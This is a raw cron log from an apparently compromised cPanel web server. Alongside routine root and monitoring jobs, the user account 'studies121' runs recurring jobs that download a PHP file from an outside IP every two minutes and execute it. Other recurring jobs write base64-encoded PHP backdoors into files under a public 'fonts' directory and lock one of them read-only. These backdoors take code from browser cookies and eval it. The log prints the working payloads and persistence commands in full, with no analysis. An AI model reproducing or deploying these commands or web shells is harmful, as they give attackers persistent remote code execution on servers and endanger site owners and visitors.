Sep  9 07:12:01 ip-184-168-122-23 CROND[2635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:12:01 ip-184-168-122-23 CROND[2637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:12:01 ip-184-168-122-23 CROND[2638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:12:01 ip-184-168-122-23 CROND[2639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:13:01 ip-184-168-122-23 CROND[2781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:13:01 ip-184-168-122-23 CROND[2784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:13:01 ip-184-168-122-23 CROND[2783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:13:01 ip-184-168-122-23 CROND[2785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:14:01 ip-184-168-122-23 CROND[2925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:14:01 ip-184-168-122-23 CROND[2928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:14:01 ip-184-168-122-23 CROND[2929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:14:01 ip-184-168-122-23 CROND[2930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:14:01 ip-184-168-122-23 CROND[2933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:15:01 ip-184-168-122-23 CROND[3049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:15:01 ip-184-168-122-23 CROND[3050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:15:02 ip-184-168-122-23 CROND[3051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:15:02 ip-184-168-122-23 CROND[3053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:15:02 ip-184-168-122-23 CROND[3054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:15:02 ip-184-168-122-23 CROND[3056]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:16:01 ip-184-168-122-23 CROND[3176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:16:01 ip-184-168-122-23 CROND[3181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:16:01 ip-184-168-122-23 CROND[3187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:16:01 ip-184-168-122-23 CROND[3185]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:16:01 ip-184-168-122-23 CROND[3186]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 07:16:01 ip-184-168-122-23 CROND[3184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:17:01 ip-184-168-122-23 CROND[3394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:17:01 ip-184-168-122-23 CROND[3396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:17:01 ip-184-168-122-23 CROND[3399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:17:01 ip-184-168-122-23 CROND[3398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:18:01 ip-184-168-122-23 CROND[3614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:18:01 ip-184-168-122-23 CROND[3617]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:18:01 ip-184-168-122-23 CROND[3616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:18:01 ip-184-168-122-23 CROND[3619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:18:01 ip-184-168-122-23 CROND[3618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:19:01 ip-184-168-122-23 CROND[3754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:19:01 ip-184-168-122-23 CROND[3756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:19:01 ip-184-168-122-23 CROND[3755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:19:01 ip-184-168-122-23 CROND[3757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:20:01 ip-184-168-122-23 CROND[3878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 07:20:01 ip-184-168-122-23 CROND[3879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 07:20:01 ip-184-168-122-23 CROND[3883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:20:01 ip-184-168-122-23 CROND[3886]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:20:01 ip-184-168-122-23 CROND[3889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:20:01 ip-184-168-122-23 CROND[3887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:20:01 ip-184-168-122-23 CROND[3888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:20:01 ip-184-168-122-23 CROND[3890]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 07:20:01 ip-184-168-122-23 CROND[3885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 07:21:01 ip-184-168-122-23 CROND[3995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:21:01 ip-184-168-122-23 CROND[3998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:21:01 ip-184-168-122-23 CROND[4001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:21:01 ip-184-168-122-23 CROND[4003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:22:01 ip-184-168-122-23 CROND[4127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:22:01 ip-184-168-122-23 CROND[4129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 07:22:01 ip-184-168-122-23 CROND[4130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:22:01 ip-184-168-122-23 CROND[4131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:22:01 ip-184-168-122-23 CROND[4132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:23:01 ip-184-168-122-23 CROND[4236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:23:01 ip-184-168-122-23 CROND[4237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 07:23:01 ip-184-168-122-23 CROND[4238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 07:23:01 ip-184-168-122-23 CROND[4239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 07:24:01 ip-184-168-122-23 CROND[4406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 07:24:01 ip-184-168-122-23 CROND[4404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
